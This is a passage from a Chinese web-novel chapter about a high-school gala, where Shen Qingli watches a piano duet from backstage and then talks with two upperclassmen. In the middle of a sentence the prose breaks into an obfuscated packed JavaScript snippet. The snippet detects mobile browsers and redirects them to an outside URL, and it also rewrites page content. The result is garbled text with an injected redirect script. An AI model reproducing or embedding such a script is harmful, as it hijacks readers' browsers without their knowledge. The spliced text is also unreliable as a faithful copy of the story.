他身上还是穿着刚才沈青梨在台下看见的黑色西装，只是现在近距离地看见他，和刚才远远地望着他给她的感觉完全不一样。 台上的林夏清是冰冷和平淡的，但他和洛伊秋一样，面对台下无数的目光和议论不会露出一点青涩怯场的模样，他看着特别游刃有余。 但如今面前的他，原本额前被发胶梳上去的刘海耷拉下来，显得他整个人周围的磁场都变温和了不少。 现在一整个硕大的后台休息室里就只有他们两个人，眼下沉默又尴尬的气氛让她有些不知所措，见林夏清一直低着头，并没有要和她搭话的意思，她犹豫了一下，还是打算先一步离开这里。 但等她迈起步子要离开的时候，身后的人像是终于听到动静抬起了头，他轻声地喊住她：“在这里坐会吧。” “什么？” 察觉到她向自己投来的目光，林夏清冲她解释着：“他们的表演马上要开始了，你现在要是走的话，大概会错过他们钢琴表演。” 他的话没说错，还没等沈青梨考虑，台上已经响起洪亮的掌声，随着掌声慢慢平息，钢琴声缓缓响起。 她透过幕布看了一眼台上并肩的两人，又看了一眼林夏清，觉得他说得也没错，就找了他旁边的椅子里选了一个最外边的椅子坐下，刚刚好能看清前面的表演。 也正如陈朝喜说得那样，台上并肩而坐的两人配合得实在是默契，连她这个不懂钢琴的外行都不得不感叹一句。 他们弹奏的那首歌沈青梨听过，是之前一部电视剧里的曲子，叫做《一直很安静》。 “……明明是三个人的电影，我却始终不能有姓名。给你的爱一直很安静……” 洛伊秋的声线很柔和，唱起悲情歌来给人一种娓娓道来的感觉。 不知道是不是受现场这首歌的影响，沈青梨从侧面看着他们两人的身影，白色的灯光落在他们的身上，洛伊秋和赵逸霄默契地对视一眼，冲着彼此露出一个笑，然后循序渐进地弹到曲谱的高潮部分，她看着面前的场面不禁神色都恍惚了一下。 突然地，她的脑海里骤然回想起了刚才沈青芸落荒而逃的背影，她隐约觉得自己姐姐的匆忙离开，也许就是为了避开这场表演，就和她刚才想要避开林夏清和洛伊秋一起的主持一样。 想到这，她垂下眼，听着外头表演结束而响起的掌声，不知道为什么，她竟然也有些为沈青芸而感到难过。 她第一次觉得这首歌那么符合此时此刻她的心境，过去年纪小，在电视里听到这首歌也只是觉得好听，如今却觉得格外应景。 一直很安静，不会拥有姓名。或许也是她这段感情的宿命。 - 第二场表演结束时，林夏清站起身来走到了她的身边，他默默抬起眼看着她，见她情绪低落，下意识地透过幕布的空隙看向外头的人。 朝着观众台的幕布已经缓缓下了下来，赵逸霄和洛伊秋站起身来，两人看着对方，嘴边玩笑般互相“吹捧”着彼此今天的表现。 面前就只有这两个人，他自然而然地将沈青梨失落的原因归在了他们的身上。 他又突然想起前几次和今天看见她和赵逸霄站在一起的谈话，眼神都晦暗了一瞬。 但也只有几秒，在沈青梨注意到他站在自己身边，向他投去目光的之前，他已经调整好了脸上的表情。 随后，他像是没有注意到沈青梨的眼神，手里拿着两个话筒，径直拉开面前的幕布朝着洛伊秋走去。 他走到对方的面前，把手边的另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186983|180687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个话筒递给她，随后两人一齐走到幕布前，给幕后的同学提供搬走整理舞台上乐器和东西的时间。 沈青梨盯着他们消失在眼前的背影，不知道是不是刚才因为这首歌被牵出来的情绪一时无法消化，她莫名觉得眼睛都有点酸，胸口那股难受的情绪重新又蔓延了上来，甚至比一开始更甚。 她下意识地想要离开这个地方，却在离开前注意到另一个人。他望着不远处，久久才收回自己的目光，脸上远远没有了刚才那样开心的表情。 像是注意到身后有视线在看着自己，他转过身，见是沈青梨，他礼貌地冲她笑了一下，抬起腿走进后台，走到了她的身边，笑着问起自己和洛伊秋的这段表演怎么样。 沈青梨见他过来和自己搭话，眼下也不好直接走开，只好被迫停下脚步来，说道：“很好听，之前听陈朝喜说你们在初中就替学校拿了很多奖，果然名不虚传。” 这话是她的真心话，想来等这场文艺晚会结束之后，赵逸霄和洛伊秋的这场表演一定会成为高一部学生很长一段时间的谈资，因为的确是太出彩了，这在苏市一中里都很少见。 “朝喜就喜欢夸大这些事情，倒也没有她说得那么夸张。”赵逸霄倒是被她的话夸得有些不好意思起来。 知道对方是谦虚之言，沈青梨也不由得跟着他笑了一下，没继续说什么。 她听着外头话筒里传来的声音，第三场表演马上就要开始了，但现在她并不想看见林夏清，生怕再碰到刚才的那副情景，她还是想要先离开这里。 只是这会赵逸霄大概是觉得他们两个人都不说话，怕冷场尴尬，开口岔着话题问她：“我听伊秋说你没有报任何表演啊？” “啊对，我在这方面没什么天赋，也没有什么特长。”她随口回答着，心里却在思考该怎么和赵逸霄说自己要先回去了的事情 不过对面的人明显误会了她的话，以为她是因为这件事情而感到失落，倒是安慰她起来：“没事啊，每个人都有自己擅长做的事情，和不擅长的事，就像我，虽然会弹钢琴，但其实我唱歌五音不全，所以全部演奏的歌曲都只能让伊秋来唱。” 第一次知道这些，沈青梨也有些惊讶：“学长你居然不会唱歌啊？” “是啊，所以人有擅长的，就会有特别不擅长的哦。”他笑了笑，顺嘴问着她：“有句话说得好，上帝为你关上了一扇门，就一定会给你打开一扇窗，同理反过来也是一样的，而我们只要找到属于我们的那扇窗就可以了，对吧。” “……”好像被突然又不明所以地灌了文字“鸡汤”，她不知道该怎么回答，只能默默点点头表示赞同。 大概是也意识到自己说的话有点太严肃，赵逸霄笑着找补道：“是不是觉得我怎么满嘴都是张口就来的大道理？其实主要是最近被你们班陈老师一个劲追着问自己以后想干什么和理想大学是什么，听他苦口婆心地讲道理，现在下意识地就问出来了。” 说到这个他似乎也有点头疼，嘴边半玩笑着：“不过等你们到了高二估计也逃不开陈老师的‘逼问’，提前给你们提个醒，需要早点想好哦。” 他嘴边的话说得夸张，很明显是在活跃他们两人之间的气氛。 沈青梨自然也明白，所以也跟着一起玩笑道：“好的我知道了，那提前谢谢你了学长。” …… 只是在她的玩笑话里，她想起在不久前，也有人问过这个问题。 她没有说自己好像早就有了一个梦想，只是那个梦太不切实际，她只告诉了一个人，那是只有对方知道的秘密。